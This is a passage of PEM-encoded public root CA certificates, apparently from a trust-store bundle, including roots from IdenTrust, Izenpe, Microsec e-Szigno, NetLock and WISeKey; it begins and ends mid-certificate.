LRvM7Kqas6pgghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93
nAbowacYXVKV7cndJZ5t+qntozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3
+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmVYjzlVYA211QC//G5Xc7UI2/YRYRK
W2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUXfeu+h1sXIFRRk0pT
AwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/rokTLq
l1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG
4iZZRHUe2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZ
mUlO+KWA2yUPHGNiiskzZ2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A
7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7RcGzM7vRX+Bi6hG6H
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBN
MQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVu
VHJ1c3QgUHVibGljIFNlY3RvciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcN
MzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0
MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBSb290IENBIDEwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTyP4o7
ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGy
RBb06tD6Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlS
bdsHyo+1W/CD80/HLaXIrcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF
/YTLNiCBWS2ab21ISGHKTN9T0a9SvESfqy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R
3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoSmJxZZoY+rfGwyj4GD3vw
EUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFnol57plzy
9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9V
GxyhLrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ
2fjXctscvG29ZV/viDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsV
WaFHVCkugyhfHMKiq3IXAAaOReyL4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gD
W/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/
BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMwDQYJKoZIhvcN
AQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj
t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHV
DRDtfULAj+7AmgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9
TaDKQGXSc3z1i9kKlT/YPyNtGtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8G
lwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFtm6/n6J91eEyrRjuazr8FGF1NFTwW
mhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMxNRF4eKLg6TCMf4Df
WN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4Mhn5
+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJ
tshquDDIajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhA
GaQdp/lLQzfcaFpPz+vCZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv
8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ3Wl9af0AVqW3rLatt8o+Ae+c
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEAjCCAuqgAwIBAgIFORFFEJQwDQYJKoZIhvcNAQEFBQAwgYUxCzAJBgNVBAYT
AkZSMQ8wDQYDVQQIEwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQ
TS9TR0ROMQ4wDAYDVQQLEwVEQ1NTSTEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG
9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZyMB4XDTAyMTIxMzE0MjkyM1oXDTIw
MTAxNzE0MjkyMlowgYUxCzAJBgNVBAYTAkZSMQ8wDQYDVQQIEwZGcmFuY2UxDjAM
BgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVEQ1NTSTEO
MAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2
LmZyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsh/R0GLFMzvABIaI
s9z4iPf930Pfeo2aSVz2TqrMHLmh6yeJ8kbpO0px1R2OLc/mratjUMdUC24SyZA2
xtgv2pGqaMVy/hcKshd+ebUyiHDKcMCWSo7kVc0dJ5S/znIq7Fz5cyD+vfcuiWe4
u0dzEvfRNWk68gq5rv9GQkaiv6GFGvm/5P9JhfejcIYyHF2fYPepraX/z9E0+X1b
F8bc1g4oa8Ld8fUzaJ1O/Id8NhLWo4DoQw1VYZTqZDdH6nfK0LJYBcNdfrGoRpAx
Vs5wKpayMLh35nnAvSk7/ZR3TL0gzUEl4C7HG7vupARB0l2tEmqKm0f7yd1GQOGd
PDPQtQIDAQABo3cwdTAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIBRjAVBgNV
HSAEDjAMMAoGCCqBegF5AQEBMB0GA1UdDgQWBBSjBS8YYFDCiQrdKyFP/45OqDAx
NjAfBgNVHSMEGDAWgBSjBS8YYFDCiQrdKyFP/45OqDAxNjANBgkqhkiG9w0BAQUF
AAOCAQEABdwm2Pp3FURo/C9mOnTgXeQp/wYHE4RKq89toB9RlPhJy3Q2FLwV3duJ
L92PoF189RLrn544pEfMs5bZvpwlqwN+Mw+VgQ39FuCIvjfwbF3QMZsyK10XZZOY
YLxuj7GoPB7ZHPOpJkL5ZB3C55L29B5aqhlSXa/oovdgoPaN8In1buAKBQGVyYsg
Crpa/JosPL3Dt8ldeCUFP1YUmwza+zpI/pdpXsoQhvdOlgQITeywvl3cO45Pwf2a
NjSaTFR+FwNIlQgRHAdvhQh+XU3Endv7rs6y0bO4g2wdsrN58dhwmX7wEwLOXt1R
0982gaEbeC9xs/FZTEYYKKuF0mBWWg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIE5jCCA86gAwIBAgIEO45L/DANBgkqhkiG9w0BAQUFADBdMRgwFgYJKoZIhvcN
AQkBFglwa2lAc2suZWUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKExlBUyBTZXJ0aWZp
dHNlZXJpbWlza2Vza3VzMRAwDgYDVQQDEwdKdXVyLVNLMB4XDTAxMDgzMDE0MjMw
MVoXDTE2MDgyNjE0MjMwMVowXTEYMBYGCSqGSIb3DQEJARYJcGtpQHNrLmVlMQsw
CQYDVQQGEwJFRTEiMCAGA1UEChMZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1czEQ
MA4GA1UEAxMHSnV1ci1TSzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AIFxNj4zB9bjMI0TfncyRsvPGbJgMUaXhvSYRqTCZUXP00B841oiqBB4M8yIsdOB
SvZiF3tfTQou0M+LI+5PAk676w7KvRhj6IAcjeEcjT3g/1tf6mTll+g/mX8MCgkz
ABpTpyHhOEvWgxutr2TC+Rx6jGZITWYfGAriPrsfB2WThbkasLnE+w0R9vXW+RvH
LCu3GFH+4Hv2qEivbDtPL+/40UceJlfwUR0zlv/vWT3aTdEVNMfqPxZIe5EcgEMP
PbgFPtGzlc3Yyg/CQ2fbt5PgIoIuvvVoKIO5wTtpeyDaTpxt4brNj3pssAki14sL
2xzVWiZbDcDq5WDQn/413z8CAwEAAaOCAawwggGoMA8GA1UdEwEB/wQFMAMBAf8w
ggEWBgNVHSAEggENMIIBCTCCAQUGCisGAQQBzh8BAQEwgfYwgdAGCCsGAQUFBwIC
MIHDHoHAAFMAZQBlACAAcwBlAHIAdABpAGYAaQBrAGEAYQB0ACAAbwBuACAAdgDk
AGwAagBhAHMAdABhAHQAdQBkACAAQQBTAC0AaQBzACAAUwBlAHIAdABpAGYAaQB0
AHMAZQBlAHIAaQBtAGkAcwBrAGUAcwBrAHUAcwAgAGEAbABhAG0ALQBTAEsAIABz
AGUAcgB0AGkAZgBpAGsAYQBhAHQAaQBkAGUAIABrAGkAbgBuAGkAdABhAG0AaQBz
AGUAawBzMCEGCCsGAQUFBwIBFhVodHRwOi8vd3d3LnNrLmVlL2Nwcy8wKwYDVR0f
BCQwIjAgoB6gHIYaaHR0cDovL3d3dy5zay5lZS9qdXVyL2NybC8wHQYDVR0OBBYE
FASqekej5ImvGs8KQKcYP2/v6X2+MB8GA1UdIwQYMBaAFASqekej5ImvGs8KQKcY
P2/v6X2+MA4GA1UdDwEB/wQEAwIB5jANBgkqhkiG9w0BAQUFAAOCAQEAe8EYlFOi
CfP+JmeaUOTDBS8rNXiRTHyoERF5TElZrMj3hWVcRrs7EKACr81Ptcw2Kuxd/u+g
kcm2k298gFTsxwhwDY77guwqYHhpNjbRxZyLabVAyJRld/JXIWY7zoVAtjNjGr95
HvxcHdMdkxuLDF2FvZkwMhgJkVLpfKG6/2SSmuz+Ne6ML678IIbsSt4beDI3poHS
na9aEhbKmVv8b20OxaAehsmR0FyYgl9jDIpaq9iVpszLita/ZEuOyoqysOkhMp6q
qIWYNIE5ITuoOlIyPfZrN4YGWhWY3PARZv40ILcD9EEQfTmEeZZyY7aWAuVrua0Z
TbvGRNs2yyqcjg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYD
VQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0
ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0G
CSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTAeFw0wOTA2MTYxMTMwMThaFw0y
OTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3Qx
FjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3pp
Z25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o
dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvP
kd6mJviZpWNwrZuuyjNAfW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tc
cbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG0IMZfcChEhyVbUr02MelTTMuhTlAdX4U
fIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKApxn1ntxVUwOXewdI/5n7
N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm1HxdrtbC
xkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1
+rUCAwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
A1UdDgQWBBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPM
Pcu1SCOhGnqmKrs0aDAbBgNVHREEFDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqG
SIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0olZMEyL/azXm4Q5DwpL7v8u8h
mLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfXI/OMn74dseGk
ddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775
tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c
2Pm2G2JwCz02yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5t
HMN1Rq41Bab2XD0h7lbwyYIiLXpUq3DDfSJlgnCW
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIHqDCCBpCgAwIBAgIRAMy4579OKRr9otxmpRwsDxEwDQYJKoZIhvcNAQEFBQAw
cjELMAkGA1UEBhMCSFUxETAPBgNVBAcTCEJ1ZGFwZXN0MRYwFAYDVQQKEw1NaWNy
b3NlYyBMdGQuMRQwEgYDVQQLEwtlLVN6aWdubyBDQTEiMCAGA1UEAxMZTWljcm9z
ZWMgZS1Temlnbm8gUm9vdCBDQTAeFw0wNTA0MDYxMjI4NDRaFw0xNzA0MDYxMjI4
NDRaMHIxCzAJBgNVBAYTAkhVMREwDwYDVQQHEwhCdWRhcGVzdDEWMBQGA1UEChMN
TWljcm9zZWMgTHRkLjEUMBIGA1UECxMLZS1Temlnbm8gQ0ExIjAgBgNVBAMTGU1p
Y3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDtyADVgXvNOABHzNuEwSFpLHSQDCHZU4ftPkNEU6+r+ICbPHiN1I2u
uO/TEdyB5s87lozWbxXGd36hL+BfkrYn13aaHUM86tnsL+4582pnS4uCzyL4ZVX+
LMsvfUh6PXX5qqAnu3jCBspRwn5mS6/NoqdNAoI/gqyFxuEPkEeZlApxcpMqyabA
vjxWTHOSJ/FrtfX9/DAFYJLG65Z+AZHCabEeHXtTRbjcQR/Ji3HWVBTji1R4P770
Yjtb9aPs1ZJ04nQw7wHb4dSrmZsqa/i9phyGI0Jf7Enemotb9HI6QMVJPqW+jqpx
62z69Rrkav17fVVA71hu5tnVvCSrwe+3AgMBAAGjggQ3MIIEMzBnBggrBgEFBQcB
AQRbMFkwKAYIKwYBBQUHMAGGHGh0dHBzOi8vcmNhLmUtc3ppZ25vLmh1L29jc3Aw
LQYIKwYBBQUHMAKGIWh0dHA6Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNydDAP
BgNVHRMBAf8EBTADAQH/MIIBcwYDVR0gBIIBajCCAWYwggFiBgwrBgEEAYGoGAIB
AQEwggFQMCgGCCsGAQUFBwIBFhxodHRwOi8vd3d3LmUtc3ppZ25vLmh1L1NaU1ov
MIIBIgYIKwYBBQUHAgIwggEUHoIBEABBACAAdABhAG4A+gBzAO0AdAB2AOEAbgB5
ACAA6QByAHQAZQBsAG0AZQB6AOkAcwDpAGgAZQB6ACAA6QBzACAAZQBsAGYAbwBn
AGEAZADhAHMA4QBoAG8AegAgAGEAIABTAHoAbwBsAGcA4QBsAHQAYQB0APMAIABT
AHoAbwBsAGcA4QBsAHQAYQB0AOEAcwBpACAAUwB6AGEAYgDhAGwAeQB6AGEAdABh
ACAAcwB6AGUAcgBpAG4AdAAgAGsAZQBsAGwAIABlAGwAagDhAHIAbgBpADoAIABo
AHQAdABwADoALwAvAHcAdwB3AC4AZQAtAHMAegBpAGcAbgBvAC4AaAB1AC8AUwBa
AFMAWgAvMIHIBgNVHR8EgcAwgb0wgbqggbeggbSGIWh0dHA6Ly93d3cuZS1zemln
bm8uaHUvUm9vdENBLmNybIaBjmxkYXA6Ly9sZGFwLmUtc3ppZ25vLmh1L0NOPU1p
Y3Jvc2VjJTIwZS1Temlnbm8lMjBSb290JTIwQ0EsT1U9ZS1Temlnbm8lMjBDQSxP
PU1pY3Jvc2VjJTIwTHRkLixMPUJ1ZGFwZXN0LEM9SFU/Y2VydGlmaWNhdGVSZXZv
Y2F0aW9uTGlzdDtiaW5hcnkwDgYDVR0PAQH/BAQDAgEGMIGWBgNVHREEgY4wgYuB
EGluZm9AZS1zemlnbm8uaHWkdzB1MSMwIQYDVQQDDBpNaWNyb3NlYyBlLVN6aWdu
w7MgUm9vdCBDQTEWMBQGA1UECwwNZS1TemlnbsOzIEhTWjEWMBQGA1UEChMNTWlj
cm9zZWMgS2Z0LjERMA8GA1UEBxMIQnVkYXBlc3QxCzAJBgNVBAYTAkhVMIGsBgNV
HSMEgaQwgaGAFMegSXUWYYTbMUuE0vE3QJDvTtz3oXakdDByMQswCQYDVQQGEwJI
VTERMA8GA1UEBxMIQnVkYXBlc3QxFjAUBgNVBAoTDU1pY3Jvc2VjIEx0ZC4xFDAS
BgNVBAsTC2UtU3ppZ25vIENBMSIwIAYDVQQDExlNaWNyb3NlYyBlLVN6aWdubyBS
b290IENBghEAzLjnv04pGv2i3GalHCwPETAdBgNVHQ4EFgQUx6BJdRZhhNsxS4TS
8TdAkO9O3PcwDQYJKoZIhvcNAQEFBQADggEBANMTnGZjWS7KXHAM/IO8VbH0jgds
ZifOwTsgqRy7RlRw7lrMoHfqaEQn6/Ip3Xep1fvj1KcExJW4C+FEaGAHQzAxQmHl
7tnlJNUb3+FKG6qfx1/4ehHqE5MAyopYse7tDk2016g2JnzgOsHVV4Lxdbb9iV/a
86g4nzUGCM4ilb7N1fy+W955a9x6qWVmvrElWl/tftOsRm1M9DKHtCAE4Gx4sHfR
hUZLphK3dehKyVZs15KrnfVJONJPU+NVkBHbmJbGSfI+9J8b4PeI3CVimUTYc78/
MPMMNz7UwiiAc7EBt51alhQBS6kRnSlqLtBdgcDPsiBDxwPgN05dCtxZICU=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQG
EwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3
MDUGA1UECwwuVGFuw7pzw610dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNl
cnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBBcmFueSAoQ2xhc3MgR29sZCkgRsWR
dGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgxMjA2MTUwODIxWjCB
pzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxOZXRM
b2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlm
aWNhdGlvbiBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNz
IEdvbGQpIEbFkXRhbsO6c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAxCRec75LbRTDofTjl5Bu0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrT
lF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw/HpYzY6b7cNGbIRwXdrz
AZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAkH3B5r9s5
VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRG
ILdwfzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2
BJtr+UBdADTHLpl1neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAG
AQH/AgEEMA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2M
U9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwWqZw8UQCgwBEIBaeZ5m8BiFRh
bvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTtaYtOUZcTh5m2C
+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC
bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2F
uLjbvrW5KfnaNwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2
XjG4Kvte9nHfRCaexOYNkbQudZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID5jCCAs6gAwIBAgIQV8szb8JcFuZHFhfjkDFo4DANBgkqhkiG9w0BAQUFADBi
MQswCQYDVQQGEwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMu
MTAwLgYDVQQDEydOZXR3b3JrIFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3Jp
dHkwHhcNMDYxMjAxMDAwMDAwWhcNMjkxMjMxMjM1OTU5WjBiMQswCQYDVQQGEwJV
UzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMuMTAwLgYDVQQDEydO
ZXR3b3JrIFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkvH6SMG3G2I4rC7xGzuAnlt7e+foS0zwz
c7MEL7xxjOWftiJgPl9dzgn/ggwbmlFQGiaJ3dVhXRncEg8tCqJDXRfQNJIg6nPP
OCwGJgl6cvf6UDL4wpPTaaIjzkGxzOTVHzbRijr4jGPiFFlp7Q3Tf2vouAPlT2rl
mGNpSAW+Lv8ztumXWWn4Zxmuk2GWRBXTcrA/vGp97Eh/jcOrqnErU2lBUzS1sLnF
BgrEsEX1QV1uiUV7PTsmjHTC5dLRfbIR1PtYMiKagMnc/Qzpf14Dl847ABSHJ3A4
qY5usyd2mFHgBeMhqxrVhSI8KbWaFsWAqPS7azCPL0YCorEMIuDTAgMBAAGjgZcw
gZQwHQYDVR0OBBYEFCEwyfsA106Y2oeqKtCnLrFAMadMMA4GA1UdDwEB/wQEAwIB
BjAPBgNVHRMBAf8EBTADAQH/MFIGA1UdHwRLMEkwR6BFoEOGQWh0dHA6Ly9jcmwu
bmV0c29sc3NsLmNvbS9OZXR3b3JrU29sdXRpb25zQ2VydGlmaWNhdGVBdXRob3Jp
dHkuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQC7rkvnt1frf6ott3NHhWrB5KUd5Oc8
6fRZZXe1eltajSU24HqXLjjAV2CDmAaDn7l2em5Q4LqILPxFzBiwmZVRDuwduIj/
h1AcgsLj4DKAv6ALR8jDMe+ZZzKATxcheQxpXN5eNK4CtSbqUN9/GGUsyfJj4akH
/nxxH2szJGoeBfcFaMBqEssuXmHLrijTfsK0ZpEmXzwuJF/LWA/rKOyvEZbz3Htv
wKeI8lN3s2Berq4o2jUsbzRF0ybh3uxbTydrFny9RAQYgrOJeRcQcT16ohZO9QHN
pGxlaKFJdlxDydi8NmdspZS11My5vWo1ViHe2MPr+8ukYEywVaCge1ey
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID8TCCAtmgAwIBAgIQQT1yx/RrH4FDffHSKFTfmjANBgkqhkiG9w0BAQUFADCB
ijELMAkGA1UEBhMCQ0gxEDAOBgNVBAoTB1dJU2VLZXkxGzAZBgNVBAsTEkNvcHly
aWdodCAoYykgMjAwNTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNl
ZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQSBDQTAeFw0w
NTEyMTExNjAzNDRaFw0zNzEyMTExNjA5NTFaMIGKMQswCQYDVQQGEwJDSDEQMA4G
A1UEChMHV0lTZUtleTEbMBkGA1UECxMSQ29weXJpZ2h0IChjKSAyMDA1MSIwIAYD
VQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBX
SVNlS2V5IEdsb2JhbCBSb290IEdBIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAy0+zAJs9Nt350UlqaxBJH+zYK7LG+DKBKUOVTJoZIyEVRd7jyBxR
VVuuk+g3/ytr6dTqvirdqFEr12bDYVxgAsj1znJ7O7jyTmUIms2kahnBAbtzptf2
w93NvKSLtZlhuAGio9RN1AU9ka34tAhxZK9w8RxrfvbDd50kc3vkDIzh2TbhmYsF
mQvtRTEJysIA2/dyoJaqlYfQjse2YXMNdmaM3Bu0Y6Kff5MTMPGhJ9vZ/yxViJGg
